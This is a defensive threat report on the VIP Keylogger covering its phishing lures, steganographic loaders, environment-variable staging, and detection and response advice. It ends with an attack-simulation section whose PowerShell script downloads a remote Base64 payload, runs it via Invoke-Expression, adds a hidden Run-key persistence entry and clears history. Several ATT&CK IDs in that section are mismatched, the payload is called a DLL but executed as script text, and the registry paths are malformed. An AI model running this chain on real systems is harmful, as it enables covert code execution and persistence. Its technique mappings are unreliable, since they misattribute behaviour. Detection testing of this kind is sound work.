VIP Keylogger and Its Multi-Layered Evasion Tactics

Summary

VIP Keylogger is a modular information-stealing threat delivered through phishing lures such as fake bank payment alerts. Its infection chain relies on malicious VBS, JavaScript, or batch-based loaders that use heavy obfuscation, steganography in PNG images, and abuse of environment variables to conceal PowerShell stages before launching the final keylogger. Once active, the malware captures credentials, screenshots, clipboard contents, and Wi-Fi passwords, then exfiltrates the data through multiple command-and-control channels. Detection efforts should focus on suspicious registry changes, unusual environment variable values, and abnormal transitions from script execution to binary payloads.

Investigation

The Splunk Threat Research Team reviewed more than 200 loader samples collected in March and April 2026, documenting their naming patterns, loader variants, and the steganographic use of PNG files for payload delivery. Researchers reproduced the deobfuscation process, identified abuse of the INTERNAL_DB_CACHE environment variable, and traced persistence to the UserInitMprLogonScript registry key. The report also mapped each observed behavior to relevant MITRE ATT&CK techniques to support detection engineering.

Mitigation

Organizations should stop the initial phishing attempts through stronger email security controls and URL filtering. Defenders should monitor creation and modification of HKCU\Environment values, especially oversized entries or use of the INTERNAL_DB_CACHE variable. Execution of script-based loaders from user-writable directories should be restricted, and PowerShell Constrained Language Mode should be enforced where possible. Endpoint security tools should also detect process injection into aspnet_compiler.exe and suspicious netsh activity.

Response

If a VIP Keylogger indicator is detected, isolate the affected host, collect volatile memory and recent process execution logs, and hunt for the known registry artifacts, PNG-based command-and-control URLs, and dropped files. The malicious scripts should be removed, exposed credentials reset, and a broader sweep should be conducted across the environment for related loader artifacts and persistence mechanisms.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Initial Recon – the attacker runs Get-ADDomain (T1016.002) to discover domain trust relationships.
  2. Payload Acquisition – using Invoke-WebRequest (T1071.001) the attacker downloads a Base64‑encoded DLL that implements the keylogger (T1056.001).
  3. Staging via Environment Variable – the downloaded string is stored in a user‑level environment variable through [Environment]::SetEnvironmentVariable. This step satisfies the detection rule’s focus on environment‑variable manipulation.
  4. Dynamic Execution – the attacker immediately executes the payload with Invoke-Expression $env:VIPPayload (T1059.001). The keylogger begins capturing keystrokes, screenshots (T1113), and clipboard data (T1115).
  5. Cleanup – after establishing persistence (e.g., creating a Run key, T1037.001), the attacker deletes the temporary DLL from disk (T1070.004) and removes the environment variable to reduce forensic footprint.

• Regression Test Script: The script below reproduces the exact steps and generates the telemetry the Sigma rule expects.

  # VIP Keylogger Simulation – PowerShell
  # -------------------------------------------------
  # 1. Download a dummy payload (Base64‑encoded string)
  $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
  $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
  
  # 2. Store payload in a user‑level environment variable
  $envVarName = "VIPPayload"
  [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
  
  # 3. Decode and execute the payload via Invoke‑Expression
  $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
  Invoke-Expression $decoded
  
  # 4. (Optional) Persist via Run key – demonstrates T1037.001
  $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
  Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
  
  # 5. Cleanup – remove the environment variable and the Run key entry
  Start-Sleep -Seconds 30   # allow some activity to be logged
  Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
  [Environment]::SetEnvironmentVariable($envVarName, $null, "User")

• Cleanup Commands: Run these commands to return the system to a pristine state after the test.

  # Remove the environment variable created for the test
  [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
  
  # Delete the persistence Run key entry if it exists
  $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
  Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
  
  # Clear any residual PowerShell history entries (optional)
  Clear-History